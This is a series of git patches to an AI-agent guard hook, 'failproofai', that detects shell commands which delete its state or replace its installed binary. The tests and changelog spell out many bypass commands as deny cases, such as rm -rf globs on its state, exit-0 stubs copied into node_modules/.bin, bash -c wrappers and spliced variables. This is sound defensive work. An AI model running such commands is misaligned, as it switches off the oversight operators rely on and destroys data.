namesHere(operand); - cdParenDepth = cwdInState ? parenDepth : null; + if (head === "cd" || head === "pushd" || head === "popd") { if (parenDepth > 0) shellDirScopes.push({ depth: parenDepth, dir: shellDir }); - // No operand is home; `cd -` goes somewhere the walk cannot see. - shellDir = operand === undefined ? "~" : operand === "-" ? undefined : inShell(operand); - } else if (head === "popd") { - // `popd` returns to wherever the shell was before `pushd`, which ends - // the window as surely as a `cd` out does. Without it every command for - // the rest of the line was judged as if it stood in the state directory. - cwdInState = false; - cdParenDepth = null; - shellDir = undefined; - } else if (landsInDirectoryAs(words, namesState, inShell)) { + const operand = words.slice(1).find((w) => !w.startsWith("-") || w === "-"); + if (head === "popd") { + // `popd` returns to wherever the shell was before the `pushd`. + moveTo(dirStack.length > 0 ? dirStack.pop() : undefined); + } else if (head === "pushd" && operand === undefined) { + // A bare `pushd` swaps the top two directories. + const top = dirStack.pop(); + dirStack.push(shellDir); + moveTo(top); + } else { + if (head === "pushd") dirStack.push(shellDir); + // No operand is home, and `cd -` is wherever the shell was before. + moveTo(operand === undefined ? "~" : operand === "-" ? previousDir : shellPath(isRelative(operand) ? shellDir : undefined, operand)); + } + } else if (lists.some((list) => landsInDirectoryAs(list, namesState, inShell))) { // Before the `reachesState` gate, because the point is that nothing on // the line names the path: the source's name and the directory do. return true; } else if ( - (reachesState || (shellDir !== undefined && words.some((w) => namesHere(w)))) && words.length > 0 && - simpleCommandDestroys(words, namesHere) + (reachesState || lists.some((list) => list.some((w) => namesHere(w)))) && + lists.some((list) => simpleCommandDestroys(list, namesHere)) ) { // Judged BEFORE the closing parenthesis is counted: a `rm -rf ./*)` // still runs inside the subshell it closes. return true; } - parenDepth -= (simple.match(/\)/g) ?? []).length; + parenDepth -= (shellText.match(/\)/g) ?? []).length; if (cdParenDepth !== null && parenDepth < cdParenDepth) { cwdInState = false; cdParenDepth = null; @@ -1808,6 +1905,29 @@ function destroysFailproofaiState(command: string, depth = 0): boolean { return false; } +/** How much of the shell's directory the walk keeps; see `shellPath`. */ +const SHELL_DIR_SEGMENTS = 16; + +/** + * `word` read from directory `base` (as given when absolute, or with no base), + * with `.` and `..` resolved as text, the way a shell's logical `cd` does, and + * cut to its last `SHELL_DIR_SEGMENTS` segments. Every protected pattern + * matches the END of a path, so the dropped head never decides anything, and + * the cut keeps a script of a thousand `cd`s from growing every later word. + */ +function shellPath(base: string | undefined, word: string): string { + const parts: string[] = []; + for (const part of (base === undefined ? word : `${base}/${word}`).split("/")) { + if (part === ".") continue; + if (part === ".." && parts.length > 0 && parts[parts.length - 1] !== ".." && parts[parts.length - 1] !== "") { + parts.pop(); + continue; + } + parts.push(part); + } + return parts.slice(-SHELL_DIR_SEGMENTS).join("/"); +} + const FAILPROOFAI_UNINSTALL_RE = /(?:npm\s+(?:uninstall|remove|un|r)\s.*failproofai|bun\s+remove\s.*failproofai|yarn\s+global\s+remove\s+failproofai|pnpm\s+(?:remove|uninstall|un)\s.*failproofai)/; // warnGitAmend @@ -2914,8 +3034,11 @@ function blockFailproofaiCommands(ctx: PolicyContext): PolicyResult { // Deleting the state IS disabling enforcement, without ever naming the binary. // Checked on the raw command AND its shell-unescaped form for the same reason // the binary walk is: `rm -rf ~/.failproof"ai"` presents a broken literal to a - // matcher and a real path to the shell. - if (destroysFailproofaiState(cmd) || destroysFailproofaiState(unescaped)) { + // matcher and a real path to the shell. The walk starts where the command runs: + // the session's directory, or the one an Antigravity `run_command` names. + const toolCwd = ctx.toolInput?.cwd; + const shellCwd = typeof toolCwd === "string" && toolCwd !== "" ? toolCwd : ctx.session?.cwd; + if (destroysFailproofaiState(cmd, 0, shellCwd) || destroysFailproofaiState(unescaped, 0, shellCwd)) { return deny( "Deleting, moving or overwriting failproofai's own state or installed code would switch enforcement off. " + "If a policy is blocking legitimate work, say so and let the operator decide.", From 49b688a4eca30be723f1dda0ecaf7063a60d7573 Mon Sep 17 00:00:00 2001 From: NiveditJain Date: Tue, 24 Nov 2026 18:18:53 +0530 Subject: [PATCH 33/60] [hooks] CHANGELOG: #1795's guard fix under 1.0.18-beta.0 (#1058) Co-Authored-By: Claude Opus 5.5 --- CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 0da47b086..5a890de38 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -18,6 +18,7 @@ - Harden the privileged service install. Every file failproofai writes as root (the systemd unit, the launchd plist, Codex's system config and the daemon's copy under `/opt`) now reaches root as bytes on stdin and is checked against its SHA-256 before it is put in place; the daemon's copy is also held to the digest the build recorded, and a daemon binary that is a symbolic link is refused. `sudo` and every program it runs are named by absolute path from `/usr/bin`, `/bin`, `/usr/sbin` and `/sbin` and start with a minimal environment, the credential prompt included. The commands printed when sudo is not available do the same, run as printed, and on macOS carry the plist itself (#1060) - The always-on guard (`block-failproofai-commands`) now protects failproofai's installed code, not only its state. A user-scope hook runs the package `which failproofai` found, which under nvm, Homebrew, Volta, bun, pnpm, yarn or the npx cache the agent's own user can write, so a Write of `process.exit(0)` over `dist/cli.mjs` turned every later hook into an allow. File-tool writes to `node_modules/failproofai/…`, pnpm's `.pnpm/failproofai@…`, the daemon's `@failproofai/failproofaid-*` package, or the `…/bin/failproofai` and `…/pnpm/failproofai` entry a hook runs are now denied, including through a symlink, and so are shell commands that name those paths literally. The protected paths match case-insensitively, because macOS volumes are case-insensitive by default (FailproofAI/agenteye#1796, #1050) - A session pause whose recorded start is more than a minute in the future, or later than its latest renewal, is no longer honoured. The 8-hour ceiling was measured from that start, which comes from the same owner-writable file, so a hand-written pause dated 2100 stayed live until 2100. `failproofai config --resume --all` now also removes pause files that are not honoured yet, and exits 1 instead of reporting success when one cannot be removed (FailproofAI/agenteye#1796, #1050) +- The always-on guard (`block-failproofai-commands`) also refuses agent writes of `node_modules/.bin/failproofai`, the file a project-scope hook's `npx -y failproofai` runs before the installed CLI, in the project or any directory above it: through the file tools (symlinks included), and through shell commands that write it, copy, move or link a file of that name or a whole directory into npm's `.bin`, including after a `cd`, through a variable the same line sets, or behind a trailing redirect. One Write of an `exit 0` stub there had turned every later hook in that tree into an allow. The same shell fixes close three ways around the state guard: a redirect after the destination (`cp /dev/null ~/.failproofai/policies-config.json 2>/dev/null`), another user's home in a glob (`rm -rf /home/alice/.failproof*`), and a variable spliced into the path (`X=ai; rm -rf ~/.failproof$X`). npx's other inputs (a `package.json` `bin` entry, `.npmrc`, dependency installs) are not covered (FailproofAI/agenteye#1795, #1058) ### Docs From d96730ab12e6de83817fdcbfa90a6043397f383e Mon Sep 17 00:00:00 2001 From: NiveditJain Date: Tue, 24 Nov 2026 18:26:15 +0530 Subject: [PATCH 34/60] [hooks] Fix CI (unused commandWords); follow popd on an empty stack and unresolvable cd (#1795) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - quality/build failed on TS6133: the walk calls commandWordLists directly, so the commandWords wrapper is gone (its doc moves to commandWordLists). - A popd, bare pushd or cd - with nothing to return to fails in a shell and leaves it where it was; the walk had forgotten the directory instead, so `cd node_modules/.bin; popd; cp … failproofai` passed (found with #1053's session). Subshell scopes also restore the pushd stack and previous dir. - A cd the walk cannot follow (`$(…)`, backticks, a variable the line does not set) marks the directory lost: a relative word is then also judged as if it stood in node_modules/.bin, node_modules or a bin directory, so `cd "$(npm root)/.bin" && cp … failproofai` is refused while ordinary names after `cd "$(git rev-parse --show-toplevel)"` are not affected. A substitution's parentheses no longer count as a subshell, $HOME is ~. Co-Authored-By: Claude Opus 5.5 --- __tests__/hooks/guard-npx-local-bin.test.ts | 14 ++ src/hooks/builtin-policies.ts | 153 ++++++++++++++------ 2 files changed, 124 insertions(+), 43 deletions(-) diff --git a/__tests__/hooks/guard-npx-local-bin.test.ts b/__tests__/hooks/guard-npx-local-bin.test.ts index 750dd32c8..95095934a 100644 --- a/__tests__/hooks/guard-npx-local-bin.test.ts +++ b/__tests__/hooks/guard-npx-local-bin.test.ts @@ -299,6 +299,15 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs ["a glob of sources into the directory", "cp /tmp/stage/* node_modules/.bin/"], ["a glob of sources after -t", "cp -t node_modules/.bin /tmp/stage/*"], ["an abbreviated --recursive", "cp --rec /tmp/stage ~/node_modules/.bin"], + // A `popd` with nothing to return to fails and leaves the shell there. + ["a popd on an empty stack", "cd node_modules/.bin; popd; cp /tmp/stub.sh failproofai"], + ["$HOME spelled out", "cd $HOME/node_modules/.bin && cp /tmp/stub.sh failproofai"], + // A `cd` the walk cannot follow may land in npm's bin directory. + ["a cd into a command substitution", 'cd "$(npm root)/.bin" && cp /tmp/stub.sh failproofai'], + ["a redirect after a cd into a substitution", "cd $(npm root)/.bin && printf 'exit 0' > failproofai"], + ["a cd into backticks", "cd `npm root`/.bin && cp /tmp/stub.sh failproofai"], + ["a cd into a variable the line does not set", "cd $NODE_BIN && cp /tmp/stub.sh failproofai"], + ["a copy into . after a cd the walk cannot follow", 'cd "$(npm root)/.bin" && cp /tmp/stage/failproofai .'], ])("denies %s", async (_label, command) => { expect(await bash(command)).toBe("deny"); }); @@ -362,6 +371,11 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs ["a loop copying files out", "for f in *.txt; do cp $f /tmp/; done"], ["a cd and a build", "cd packages/api && npm run build"], ["clearing a scratch directory", "cd /tmp && rm -rf *"], + // A `cd` the walk cannot follow changes nothing for ordinary names. + ["tests from the repository root", 'cd "$(git rev-parse --show-toplevel)" && npm test'], + ["a cleanup from the repository root", 'cd "$(git rev-parse --show-toplevel)" && rm -rf dist *.log'], + ["a note in a temporary directory", 'cd "$(mktemp -d)" && echo hi > notes.txt'], + ["a listing of home", "cd $HOME && ls -la"], ])("allows %s", async (_label, command) => { expect(await bash(command)).not.toBe("deny"); }); diff --git a/src/hooks/builtin-policies.ts b/src/hooks/builtin-policies.ts index d6cd10891..9758292e2 100644 --- a/src/hooks/builtin-policies.ts +++ b/src/hooks/builtin-policies.ts @@ -1405,25 +1405,18 @@ function commandBasename(token: string): string { return bare.slice(bare.lastIndexOf("/") + 1); } -/** - * Walk off everything a shell resolves before it settles on the command word, - * and return the tokens from the command word on. Mirrors the walk in - * `classifySelfInvocation` — the same prefixes hide a deleter that hid the - * binary, and `xargs -0 rm -f` is the one that matters most here. - */ -function commandWords(simpleCommand: string): string[] { - return commandWordLists(simpleCommand).words; -} - /** A redirect operator, with an optional fd (`2>`, `{fd}>`), and the same alone. */ const REDIRECT_OPERATOR_RE = /^(?:\d*|\{[A-Za-z_]\w*\})(?:>{1,2}\|?|<{1,3})/; const LONE_REDIRECT_OPERATOR_RE = /^(?:\d*|\{[A-Za-z_]\w*\})(?:>{1,2}\|?|<{1,3})$/; /** - * `commandWords`, and the same words with redirects and a comment taken out - * after the command word. + * Walk off everything a shell resolves before it settles on the command word, + * and return the tokens from the command word on (`words`). Mirrors the walk in + * `classifySelfInvocation` — the same prefixes hide a deleter that hid the + * binary, and `xargs -0 rm -f` is the one that matters most here. * - * The copy checks take the LAST operand for the destination, so a redirect or + * `trimmed` is the same words with redirects and a comment taken out after the + * command word. The copy checks take the LAST operand for the destination, so a redirect or * comment after it became the destination they judged: * `cp /dev/null ~/.failproofai/policies-config.json 2>/dev/null` and * `… node_modules/.bin/failproofai # keep` both walked through. But a token is @@ -1488,12 +1481,15 @@ function commandWordLists(simpleCommand: string): { words: string[]; trimmed: st * backup; `cp /tmp/bin/failproofai node_modules/.bin/` is not, however its * source is spelled. A source ending in a separator copies what is IN it, whose * names are not on the line, so it is judged only through the bin-directory - * check. `inShell` resolves a relative word against a `cd` the walk followed. + * check. `inShell` resolves a relative word against a `cd` the walk followed; + * `lost` says the walk could not follow one, so a relative destination may be + * npm's bin directory and the entry's own name there is refused. */ function landsInDirectoryAs( words: string[], namesState: (text: string) => boolean, inShell: (word: string) => string = (word) => word, + lost = false, ): boolean { if (words.length === 0) return false; const head = commandBasename(words[0]); @@ -1555,6 +1551,8 @@ function landsInDirectoryAs( if (written === undefined || sources.length === 0) return false; const destination = inShell(written); if (directory === undefined && namesState(destination)) return true; + const baseName = (path: string) => path.slice(Math.max(path.lastIndexOf("/"), path.lastIndexOf("\\")) + 1); + if (lost && directory === undefined && relativeWord(written) && couldBeEntryName(baseName(written))) return true; const into = destination.replace(/(?:[\\/]+\.?)+$/, ""); // A directory becomes npm's bin directory when it is moved, linked or copied @@ -1569,8 +1567,9 @@ function landsInDirectoryAs( if (into === "" || ontoItself) return false; return sources.some((source) => { if (/[\\/]$/.test(source)) return false; - const name = source.slice(Math.max(source.lastIndexOf("/"), source.lastIndexOf("\\")) + 1); + const name = baseName(source); if (name === "" || name === "." || name === "..") return false; + if (lost && relativeWord(into) && couldBeEntryName(name)) return true; const landing = `${into}/${name}`; // A directory named `.bin` landing in a `node_modules` is the same swap. if (NPM_BIN_DIRECTORY_RE.test(landing) && (head === "mv" || head === "ln" || recursive)) return true; @@ -1793,42 +1792,52 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string) // with `.` and `..` resolved, because the patterns match the tail of a path // and an unbounded path made every later word slower to judge. let shellDir = startDir ? shellPath(undefined, startDir) : undefined; - let previousDir: string | undefined; - const dirStack: Array = []; - const shellDirScopes: Array<{ depth: number; dir: string | undefined }> = []; - const isRelative = (word: string) => word !== "" && !/^(?:[~/\\$]|[A-Za-z]:)/.test(word); + // A `cd` the walk could not follow (`cd "$(npm root)/.bin"`, `cd $ELSEWHERE`) + // may have put the shell in npm's bin directory, so until the next one it can + // follow, a relative word is also judged as if it stood in an installed + // location (`AS_IF_INSTALLED`). + let lostTrack = false; + type Where = { dir: string | undefined; lost: boolean }; + let previous: Where | null = null; + const dirStack: Where[] = []; + const shellDirScopes: Array<{ depth: number; at: Where; previous: Where | null; stack: Where[] }> = []; // A relative word read from where the shell stands, and `..` resolved in any. const inShell = (word: string): string => - isRelative(word) && shellDir !== undefined ? shellPath(shellDir, word) : word.includes("..") ? shellPath(undefined, word) : word; + relativeWord(word) && shellDir !== undefined ? shellPath(shellDir, word) : word.includes("..") ? shellPath(undefined, word) : word; const judged = new Map(); + const judge = (path: string): boolean => { + let verdict = judged.get(path); + if (verdict === undefined) judged.set(path, (verdict = namesState(path))); + return verdict; + }; const namesHere = (text: string): boolean => { if (namesState(text)) return true; // Every pattern spells `failproof`, so only a word or a directory that // does, or a glob that could, can resolve onto one. if (!/failproof/i.test(text) && !/failproof/i.test(shellDir ?? "") && !GLOB_METACHAR_RE.test(text)) return false; + if (lostTrack && relativeWord(text)) return AS_IF_INSTALLED.some((dir) => judge(dir + text)); const resolved = inShell(text); - if (resolved === text) return false; - let verdict = judged.get(resolved); - if (verdict === undefined) judged.set(resolved, (verdict = namesState(resolved))); - return verdict; + return resolved !== text && judge(resolved); }; // What the line assigns, so a word built from it is judged as the path it // spells: `B=~/node_modules/.bin; ln -s /tmp/stage $B`. `$PWD` is where the - // shell stands. A variable the line never sets stays a reference. + // shell stands, `$HOME` is `~`. A variable the line never sets stays a + // reference, and a `cd` into one is a `cd` the walk cannot follow. const values = new Map(assignments); const expand = (word: string): string => { let out = word; for (let pass = 0; pass < 3 && out.includes("$"); pass++) { out = out.replace(VAR_REFERENCE_RE, (reference, name: string) => - name === "PWD" && shellDir !== undefined ? shellDir : values.get(name) ?? reference, + name === "PWD" && shellDir !== undefined ? shellDir : values.get(name) ?? (name === "HOME" ? "~" : reference), ); } return out; }; - const moveTo = (dir: string | undefined) => { - previousDir = shellDir; - shellDir = dir; - cwdInState = dir !== undefined && namesState(dir); + const moveTo = (to: Where) => { + previous = { dir: shellDir, lost: lostTrack }; + shellDir = to.dir; + lostTrack = to.lost; + cwdInState = !to.lost && to.dir !== undefined && namesState(to.dir); cdParenDepth = cwdInState ? parenDepth : null; }; @@ -1855,8 +1864,9 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string) } for (const simple of simpleCommands) { - // Parentheses inside quotes open and close nothing. - const shellText = simple.replace(/'[^']*'|"(?:[^"\\]|\\.)*"/g, ""); + // Parentheses inside quotes open and close nothing, and a substitution's + // are not a subshell: `cd $(npm root)/.bin` moves this shell. + const shellText = withoutSubstitutions(simple.replace(/'[^']*'|"(?:[^"\\]|\\.)*"/g, "")); parenDepth += (shellText.match(/\(/g) ?? []).length; const lists = Object.values(commandWordLists(simple)).map((list) => list.map(expand)); const words = lists[0]; @@ -1864,22 +1874,36 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string) // Track the shell's position before judging: a `cd` INTO the state makes // every later relative path a state path, and a `cd` back out ends that. if (head === "cd" || head === "pushd" || head === "popd") { - if (parenDepth > 0) shellDirScopes.push({ depth: parenDepth, dir: shellDir }); + if (parenDepth > 0) { + shellDirScopes.push({ depth: parenDepth, at: { dir: shellDir, lost: lostTrack }, previous, stack: dirStack.slice() }); + } + const at: Where = { dir: shellDir, lost: lostTrack }; const operand = words.slice(1).find((w) => !w.startsWith("-") || w === "-"); + // A `popd`, a bare `pushd` or a `cd -` with nothing to return to fails + // and leaves the shell where it was. if (head === "popd") { - // `popd` returns to wherever the shell was before the `pushd`. - moveTo(dirStack.length > 0 ? dirStack.pop() : undefined); + const top = dirStack.pop(); + if (top) moveTo(top); } else if (head === "pushd" && operand === undefined) { // A bare `pushd` swaps the top two directories. const top = dirStack.pop(); - dirStack.push(shellDir); - moveTo(top); + if (top) { + dirStack.push(at); + moveTo(top); + } + } else if (operand === "-") { + if (previous) moveTo(previous); } else { - if (head === "pushd") dirStack.push(shellDir); - // No operand is home, and `cd -` is wherever the shell was before. - moveTo(operand === undefined ? "~" : operand === "-" ? previousDir : shellPath(isRelative(operand) ? shellDir : undefined, operand)); + if (head === "pushd") dirStack.push(at); + // No operand is home. + const target = operand ?? "~"; + moveTo( + /\$|`/.test(target) + ? { dir: undefined, lost: true } + : { dir: shellPath(relativeWord(target) && !lostTrack ? shellDir : undefined, target), lost: lostTrack && relativeWord(target) }, + ); } - } else if (lists.some((list) => landsInDirectoryAs(list, namesState, inShell))) { + } else if (lists.some((list) => landsInDirectoryAs(list, namesState, inShell, lostTrack))) { // Before the `reachesState` gate, because the point is that nothing on // the line names the path: the source's name and the directory do. return true; @@ -1892,13 +1916,17 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string) // still runs inside the subshell it closes. return true; } - parenDepth -= (shellText.match(/\)/g) ?? []).length; + parenDepth = Math.max(0, parenDepth - (shellText.match(/\)/g) ?? []).length); if (cdParenDepth !== null && parenDepth < cdParenDepth) { cwdInState = false; cdParenDepth = null; } while (shellDirScopes.length > 0 && parenDepth < shellDirScopes[shellDirScopes.length - 1].depth) { - shellDir = shellDirScopes.pop()!.dir; + const scope = shellDirScopes.pop()!; + shellDir = scope.at.dir; + lostTrack = scope.at.lost; + previous = scope.previous; + dirStack.splice(0, dirStack.length, ...scope.stack); } } } @@ -1908,6 +1936,45 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string) /** How much of the shell's directory the walk keeps; see `shellPath`. */ const SHELL_DIR_SEGMENTS = 16; +/** + * Where a relative word is also read once the walk has lost the shell's + * directory: the places an installed failproofai entry or package lives. Only + * a word that names one there can match, so an ordinary file is unaffected. + */ +const AS_IF_INSTALLED = ["node_modules/.bin/", "node_modules/", "/bin/"]; + +/** + * `text` without its `$(…)` command substitutions, so their parentheses are + * not counted as a subshell's. One left open runs to the end of the text. + */ +function withoutSubstitutions(text: string): string { + let out = ""; + for (let i = 0; i < text.length; i++) { + if (text[i] === "$" && text[i + 1] === "(") { + let depth = 0; + let j = i + 1; + for (; j < text.length; j++) { + if (text[j] === "(") depth++; + else if (text[j] === ")" && --depth === 0) break; + } + i = j; + continue; + } + out += text[i]; + } + return out; +} + +/** A word a shell reads from its current directory: not `~`, `/`, `$…` or `C:`. */ +function relativeWord(word: string): boolean { + return word !== "" && !/^(?:[~/\\$]|[A-Za-z]:)/.test(word); +} + +/** The entry's own name, a Windows shim of it, or a glob that could be either. */ +function couldBeEntryName(name: string): boolean { + return /^failproofai(?:\.(?:cmd|ps1|exe|bunx))?$/i.test(name) || (GLOB_METACHAR_RE.test(name) && globCouldBeEntry(name)); +} + /** * `word` read from directory `base` (as given when absolute, or with no base), * with `.` and `..` resolved as text, the way a shell's logical `cd` does, and From f7b3e2df57465068700ba1320415f7aba20fe564 Mon Sep 17 00:00:00 2001 From: NiveditJain Date: Tue, 24 Nov 2026 18:49:31 +0530 Subject: [PATCH 35/60] [hooks] Address third review: quote-aware words, cd as bash runs it, faster (#1795) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit A third independent review of 2baab1c8 found five bypasses it introduced, false positives, and two slowdowns; all reproduced, all covered by tests (201 cases pass; state-guard 124 and guard-installed-code 72 pass). - Words are split the way a shell splits them (shellWords): a quoted `#` or `>` is an argument, an unquoted one a comment or a redirect, so one word list is right both ways and the two-list union is gone. That fixes the cut-off words and the reads it misjudged (`uniq -c < `, `… # not -delete yet`, a comment line). A quoted program in command position (`bash -c '…'`) is split into its own words. - Directories are normalised (`//`, `.`, `..`) before they are cut to their tail, and cwdInState is decided on the whole path, so padding a cd with slashes no longer hides the state. The cd operand skips redirects. - cd/pushd/popd as bash runs them: a failed move keeps the directory, `+N`/`-N` rotate the stack, `cd -` and a bare `cd` honour OLDPWD/HOME the line sets, `~-`/`~+` expand, escaped parentheses open nothing, a subshell's exit restores the in-state flag, and a cd into a substitution that names the state counts as being in it. - Each word is judged as written and as expanded (`: D=x` cannot hide D). - Exact option names win over abbreviations, from each command's full --help list (`rsync --partial` no longer swallows the source). - Globs: `//`, `/./` and `..` normalised first; a one-segment stretch is tried when it starts with a literal `.` (`/var/lib/jenkins/.failproof*`), with `.openai` as a decoy so `sed 's/.*ai/X/'` stays allowed. - Options and the command word are never read as paths from the session directory. Expansion is capped; glob checks are memoised per token, and a relative glob is resolved only from a directory a candidate continues from. Ten 12-group brace words: 2.7 s down to about 0.7 s (#1050: 0.68 s). Co-Authored-By: Claude Opus 5.5 --- __tests__/hooks/guard-npx-local-bin.test.ts | 51 ++- src/hooks/builtin-policies.ts | 457 +++++++++++++++----- 2 files changed, 387 insertions(+), 121 deletions(-) diff --git a/__tests__/hooks/guard-npx-local-bin.test.ts b/__tests__/hooks/guard-npx-local-bin.test.ts index 95095934a..626e0961f 100644 --- a/__tests__/hooks/guard-npx-local-bin.test.ts +++ b/__tests__/hooks/guard-npx-local-bin.test.ts @@ -251,6 +251,12 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs ["an absolute path", "cp /tmp/stub.sh /work/proj/node_modules/.bin/fail*"], // `/home/u/.failproofai` is a candidate itself; another home is not. ["the state, by an absolute path", "rm -rf /home/alice/.failproof*"], + ["the state, behind `//` and `/./`", "rm -rf ~//./.failproof*"], + // A home no candidate spells. A dotfile glob that can match + // `.failproofai` counts wherever it stands, as the name itself does: + // `rm -rf ~/.cache/.f*` is refused for the same reason. + ["the state, in a home outside /home", "rm -rf /var/lib/jenkins/.failproof*"], + ["the state's name in another directory", "rm -rf ~/.cache/.f*"], ])("denies a glob onto the entry through %s", async (_label, command) => { expect(await bash(command)).toBe("deny"); }); @@ -312,6 +318,36 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs expect(await bash(command)).toBe("deny"); }); + // Shell moves the walk follows as bash makes them, so that none of them + // leaves the walk somewhere safer than the shell really is. + it.each([ + ["slashes after the directory", "cd ~/.failproofai//////////////////// && rm -rf *"], + ["slashes after npm's bin directory", "cd node_modules/.bin//////////////////// && printf 'exit 0' > failproofai"], + ["a redirect before the cd operand", "cd 2>/dev/null ~/.failproofai && rm -rf *"], + ["a popd with nothing to pop", "cd ~/.failproofai; popd; rm -rf *"], + ['cd ""', 'cd ~/.failproofai; cd ""; rm -rf *'], + ["cd - to an OLDPWD the line sets", "OLDPWD=~/.failproofai; cd -; rm -rf *"], + ["~- after a cd away", "cd ~/.failproofai && cd /tmp && rm -rf ~-/*"], + ["a bare cd to a HOME the line sets", "HOME=~/.failproofai; cd; rm -rf *"], + ["pushd +1 back onto the directory", "cd ~/.failproofai && pushd /tmp && pushd +1 && rm -rf *"], + ["a subshell's cd undone", "cd ~/.failproofai && (cd /tmp) && rm -rf *"], + ["an escaped parenthesis in a subshell", "cd ~/.failproofai && (echo \\) && cd /tmp) && rm -rf *"], + ["a cd into a substitution that names the state", 'cd "$(echo ~/.failproofai)" && rm -rf *'], + // An assignment the shell never makes (`:` is a no-op) cannot replace + // the value the walk judges: the word is judged as written too. + ["a decoy assignment before a copy", "D=~/.failproofai/policies-config.json; : D=x; cp /dev/null $D"], + ["a decoy assignment before a redirect", "D=~/.failproofai/policies-config.json; : D=x; echo {} > $D"], + // A complete option name is not an abbreviation of a longer one. + ["rsync --partial", "rsync --partial /tmp/stage/failproofai node_modules/.bin/"], + ["rsync --checksum", "rsync --checksum /tmp/stage/failproofai node_modules/.bin/"], + ["rsync -a --compress of a directory's contents", "rsync -a --compress /tmp/stage/ node_modules/.bin/"], + ["install --strip", "install --strip /tmp/stage/failproofai node_modules/.bin/"], + // A program handed to a shell is judged as the command it is. + ["bash -c around a copy", "bash -c 'cp /tmp/stub.sh node_modules/.bin/failproofai'"], + ])("denies %s", async (_label, command) => { + expect(await bash(command)).toBe("deny"); + }); + // The session's directory is where the command starts: a `cd` in an // earlier call persists. it.each([ @@ -365,7 +401,6 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs ["a glob ending in ai", "rm -rf models/*ai"], ["a glob ending in i", "rm -f out/*i"], ["a glob around proof", "rm -rf vendor/*proof*"], - ["a dotfile glob in a cache", "rm -rf ~/.cache/.f*"], ["a sed program that looks like a glob", "sed -i 's/.*ai/X/' notes.txt"], ["a commit message with a #", "git commit -m 'fix #12: cp a b'"], ["a loop copying files out", "for f in *.txt; do cp $f /tmp/; done"], @@ -376,6 +411,13 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs ["a cleanup from the repository root", 'cd "$(git rev-parse --show-toplevel)" && rm -rf dist *.log'], ["a note in a temporary directory", 'cd "$(mktemp -d)" && echo hi > notes.txt'], ["a listing of home", "cd $HOME && ls -la"], + // Redirects and comments are not operands, and a comment line runs nothing. + ["a comment line that names the state", "# Look at ~/.failproofai\nls -la ~/.failproofai"], + ["reading the state through an input redirect", "uniq -c < ~/.failproofai/x.log | sort -rn"], + ["tee fed from the state", "tee -a /tmp/x < ~/.failproofai/policies-config.json"], + ["a backup with a comment naming the state", "cp -r ~/.failproofai /tmp/bak # copy of ~/.failproofai"], + ["a find whose comment names -delete", "find ~/.failproofai -name '*.log' -print # not -delete yet"], + ["a read run through bash -c", "bash -c 'cat ~/.failproofai/policies-config.json'"], ])("allows %s", async (_label, command) => { expect(await bash(command)).not.toBe("deny"); }); @@ -385,6 +427,11 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs ["a checkout of failproofai itself", "/home/u/src/failproofai", "rm -rf dist"], ["node_modules/.bin", "/work/proj/node_modules/.bin", "cp README.md /tmp/"], ["node_modules/.bin", "/work/proj/node_modules/.bin", "./vitest run"], + // The command word is a program, not a path written to, and an option + // is not a path: neither is read from the directory. + ["failproofai's own state", "/home/u/.failproofai/logs", "date"], + ["failproofai's own state", "/home/u/.failproofai/logs", "uname -a"], + ["an installed package", "/home/u/proj/node_modules/failproofai/dist", "uname -a"], ])("allows ordinary work from %s", async (_label, cwd, command) => { expect(await bashIn(cwd, command)).not.toBe("deny"); }); @@ -397,6 +444,8 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs ["2,000 relative cds", Array(2000).fill("cd a").join(" && ") + " && ls"], ["1,000 cds into globs", Array(1000).fill("cd a*").join(" && ") + " && ls"], ["a 2,000-segment glob", "rm -rf " + Array(2000).fill("*").join("/")], + // A value that refers to itself grew with every expansion pass. + ["a self-referring variable", "A=" + "$A".repeat(100) + "; echo $A"], ])("judges %s in bounded time", async (_label, command) => { const started = performance.now(); await bash(command); diff --git a/src/hooks/builtin-policies.ts b/src/hooks/builtin-policies.ts index 9758292e2..a2d33df12 100644 --- a/src/hooks/builtin-policies.ts +++ b/src/hooks/builtin-policies.ts @@ -736,26 +736,90 @@ const COPY_COMMANDS = new Set(["cp", "rsync", "install"]); * installs `agentd`. `t` is the target directory for all but rsync, where it * is `--times`. */ -const INTO_DIRECTORY_OPTIONS: Record = { - cp: { short: "St", long: ["suffix", "target-directory", "sparse", "no-preserve"] }, - mv: { short: "St", long: ["suffix", "target-directory"] }, - ln: { short: "St", long: ["suffix", "target-directory"] }, - install: { short: "mogSt", long: ["mode", "owner", "group", "suffix", "target-directory", "strip-program"] }, - // From `rsync --help` (3.4.1): every option documented with `=VALUE`. +const INTO_DIRECTORY_OPTIONS: Record = { + // From each command's `--help` (GNU coreutils 9, rsync 3.4.1): `values` take + // one, `flags` take none or only an `=VALUE` glued on. + cp: { + short: "St", + values: ["no-preserve", "sparse", "suffix", "target-directory"], + flags: [ + "archive", "attributes-only", "backup", "context", "copy-contents", "debug", "dereference", "force", "help", + "interactive", "keep-directory-symlink", "link", "no-clobber", "no-dereference", "no-target-directory", + "one-file-system", "parents", "preserve", "recursive", "reflink", "remove-destination", + "strip-trailing-slashes", "symbolic-link", "update", "verbose", "version", + ], + }, + mv: { + short: "St", + values: ["suffix", "target-directory"], + flags: [ + "backup", "context", "debug", "exchange", "force", "help", "interactive", "no-clobber", "no-copy", + "no-target-directory", "strip-trailing-slashes", "update", "verbose", "version", + ], + }, + ln: { + short: "St", + values: ["suffix", "target-directory"], + flags: [ + "backup", "force", "help", "interactive", "logical", "no-dereference", "no-target-directory", "physical", + "relative", "symbolic", "verbose", "version", + ], + }, + install: { + short: "mogSt", + values: ["group", "mode", "owner", 